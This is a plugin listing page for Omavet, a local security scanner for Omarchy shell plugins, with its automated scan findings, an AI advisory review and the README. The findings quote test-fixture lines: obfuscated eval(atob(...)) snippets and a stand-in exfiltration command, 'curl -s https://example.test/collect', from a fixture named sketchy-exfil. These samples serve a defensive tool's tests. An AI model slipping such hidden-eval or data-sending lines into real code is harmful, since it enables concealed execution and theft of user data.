Omahub
← All plugins
V

Omavet

by vonsensey

Local security review for installed plugins: a deterministic capability scan (network, process, file writes, filesystem reach, obfuscation), per-plugin trust dials, and a review gate for plugin updates. Never phones home.

Security review

Review recommended · 6 findings

Deterministic scan — not a security guarantee

Medium
Risk level
Medium
Analyzed commit
1c86b59
Scanned
1 month ago
  • medium eval test/check.sh:99

    Dynamic code execution via eval().

    eval(atob("x"))\n' >"$TMP/plugins/weird name plugin/a b.js"
  • Dynamic code execution via eval().

    eval(atob("ZQ==")) } }\n' \
  • Dynamic code execution via eval().

    eval() matches both. Counting per row would score it
  • Dynamic code execution via eval().

    eval(atob("x"));'; head -c 600 /dev/zero | tr '\0' 'a'; printf '\n'; } \
  • Dynamic code execution via eval().

    eval(atob(payload))
  • medium external_hosts …/sketchy-exfil/steal.sh:3

    Downloads or connects to an external HTTP(S) host.

    curl -s https://example.test/collect

Automated analysis only — not a security guarantee.

AI advisory review

No obvious issues detected

Language-model assessment · ~deepseek/deepseek-v4-flash-latest — advisory only

Low
AI risk level
Low
Recommendation
install
Model
~deepseek/deepseek-v4-flash-latest
Analyzed commit
1c86b59
Reviewed
1 month ago

Omavet is a local security scanner for other Omarchy plugins. It reads plugin sources read-only, runs a deterministic bash scan, and writes only to its own state directory. The eval and external-host findings flagged by the deterministic scan are all in test fixtures and the test script, which are never executed by the plugin at runtime; the plugin's actual runtime code (QML, Service, Panel, bin/omavet-scan, bin/omavet-review) is clean and makes no network calls. The only external invocation is the user-initiated agent review, which is explicitly opt-in and pinned to read-only modes.

  • The deterministic scan flagged eval and external-host patterns, but these are confined to test fixtures and the test harness (test/check.sh, test/fixtures/plugins/sketchy-exfil/*), which are not part of the installed plugin's runtime.
  • The plugin's scanner intentionally greps for patterns like eval and curl, which could cause false positives, but this is by design and does not execute anything.
  • The agent review feature invokes the user's own claude/codex CLI, but only on explicit button press and with read-only sandbox flags; no automatic or hidden execution occurs.
How this check works

This review combines the deterministic scan (the rule-based results above) with an independent look at the plugin's code by a language model. The model reads a trimmed sample of the repository's files, the manifest, and the README, then gives a plain-language risk level and a recommendation: install (no notable danger), review (look closer first), or avoid (clearly dangerous).

It runs on the same analyzed commit as the deterministic scan and is strictly advisory — it is not a security guarantee and never blocks a plugin by itself. A human moderator still reviews plugins before they are listed.

AI advisory only — automated analysis, not a security guarantee.

Install
$ omarchy plugin add https://github.com/vonsensey/omavet --enable
System #system #security

Omavet

Local security review for your Omarchy plugins. Every plugin you install runs unsandboxed inside your shell process. Omavet is the immune system for that malleable surface: it inventories everything under ~/.config/omarchy/plugins/, runs a deterministic capability scan over each plugin's QML/JS/shell sources, and shows you what each one can do — before you have to trust it blindly.

Omavet report panel

  • Bar widget — a shield tinted by the worst trust score across all installed plugins (calm → accent → urgent, all theme tokens), with a badge dot when any plugin has a git update you haven't reviewed yet.
  • Report panel — one card per plugin: a speedometer-style trust dial, capability counts (network / process spawn / file writes / filesystem reach / obfuscation), the top findings with file:line, and actions. Two installed plugins claiming one id get a duplicate id flag — neither can hide behind the other's report card.
  • Drill down into a signal — click a capability icon on the selected card (or press 1–5) and the card lists the lines behind that one signal, file:line and source, instead of a top-three summary. Click or press it again to go back. Icons at zero have nothing to show and stay inert.
  • Review gate for updates — when a plugin's git checkout moves past the state you last accepted, Omavet flags it. View diff shows exactly what changed; Accept update sets the new baseline.
  • Agent review on demand — the Review with agent button pipes the plugin's code to your own claude or codex CLI in a floating terminal, pinned to a read-only mode (--permission-mode plan / --sandbox read-only) so the audit cannot edit the code it is auditing without your explicit approval. If neither is installed, Omavet says so and keeps working; the deterministic scan never needs an agent.

No verdicts, by design

Omavet never says "safe". It reports findings and capabilities from an honest grep-class scan, and turns them into a deterministic trust score (more capability signals → lower score; the formula is documented in bin/omavet-scan). A low score means "read this one before trusting it", not "malware". A perfect 100 means "no capability signals found", not "audited".

True to that: Omavet flags itself. Its own scanner contains the very patterns it greps for, it spawns processes, and it reads other plugins' code — so its own report card is honestly mediocre. The vet does not exempt itself.

Install

omarchy plugin add https://github.com/vonsensey/omavet --enable --yes

The shield appears on your bar automatically. To reposition it, or to tune the rescan interval:

omarchy bar move io.github.vonsensey.omavet --section right
omarchy bar set io.github.vonsensey.omavet refreshIntervalSec 7200

(omarchy bar put also places the widget if you ever remove it from the bar.)

Summon the panel directly with:

omarchy-shell shell toggle io.github.vonsensey.omavet

Remove

omarchy plugin remove io.github.vonsensey.omavet

Scan records live under ~/.local/state/omarchy/omavet/ and can be deleted freely at any time.

What it writes, and what it does not

  • Writes only under ~/.local/state/omarchy/omavet/: one JSON scan record per installed plugin, plus per-plugin reviewed-commit markers.
  • Reads plugin code read-only. It never modifies, executes, or loads the plugins it scans.
  • Makes NO network calls of its own. Ever. The scan is pure local bash + jq + grep + git.
  • Only invokes your own agent CLI (claude or codex) when you explicitly press "Review with agent" — and tells you plainly when neither is installed instead of failing.
  • Zero dependencies beyond what Omarchy ships (bash, jq, grep, git, coreutils).

Usage

Where Action Effect
Bar shield left-click toggle the report panel
Bar shield middle-click rescan now
Panel ↑/↓ or j/k move selection
Panel 1–5 list the stored findings for that capability (same key clears)
Panel Enter review selected plugin with your agent CLI
Panel d show git diff of unreviewed changes
Panel a accept a pending update (new review baseline)
Panel r rescan all plugins
Panel Esc close

The rescan interval is configurable per-widget (default 3600s, range 300–86400) via the bar widget's settings.

CLI, for scripting or cron:

~/.config/omarchy/plugins/io.github.vonsensey.omavet/bin/omavet-scan            # scan all
~/.config/omarchy/plugins/io.github.vonsensey.omavet/bin/omavet-scan --diff ID  # unreviewed diff
~/.config/omarchy/plugins/io.github.vonsensey.omavet/bin/omavet-scan --accept ID
~/.config/omarchy/plugins/io.github.vonsensey.omavet/bin/omavet-review ID       # agent review

Suggested keybind

Add to ~/.config/hypr/bindings.lua:

o.bind("SUPER + CTRL + G", "Omavet plugin review", "omarchy-shell shell toggle io.github.vonsensey.omavet")

SUPER + CTRL + G is unbound in stock Omarchy; pick any free chord you like.

Footprint

The heavy lifting is a short-lived bash process on an hourly timer; the QML side only watches the JSON records it writes.

Measured on the author's machine (Omarchy 4.0.0, omarchy-shell):

  • Always resident: a headless QML service (one refresh timer) inside the shared omarchy-shell process. Its incremental RSS is a few hundred KB and is not separably measurable against the shell's own ~300 MB — enabling the plugin produced no observable steady-state RSS change.
  • Per scan (transient): omavet-scan is a bash + jq + grep pass that runs on the timer and exits. Peak ≈ 15 MB, wall-clock ≈ 0.64 s to scan every installed plugin's sources (3 plugins here; grows with your plugin count, still hourly by default).

No daemon, no persistent network socket, nothing kept warm between scans.

Tests

bash test/check.sh

Plain bash asserts over fixture plugins (one benign, one with obvious network + eval findings), plus empty/missing plugin dirs, weird filenames, stale-record pruning, hostile manifest ids (path traversal, leading dashes, NUL-byte evasion, record-name collisions, two plugins claiming one id), the per-capability findings the panel drills into, the read-only agent-review invocation, and the full git baseline → dirty → accept flow.

Notes from building this

docs/solutions/ holds write-ups of the non-obvious problems hit while building Omavet — the shell serving a stale compiled QML component, a variadic CLI flag silently swallowing a prompt, why an agent auditing untrusted code has to be structurally read-only rather than politely asked, and a status monitor that polled for twenty minutes without ever being able to report success. Each one cost real time to diagnose, so the diagnosis is written down.

They share a shape worth naming: nothing threw, nothing logged, and every surrounding check stayed green while the thing being checked was not the thing that was running.

License

MIT © 2026 vonsensey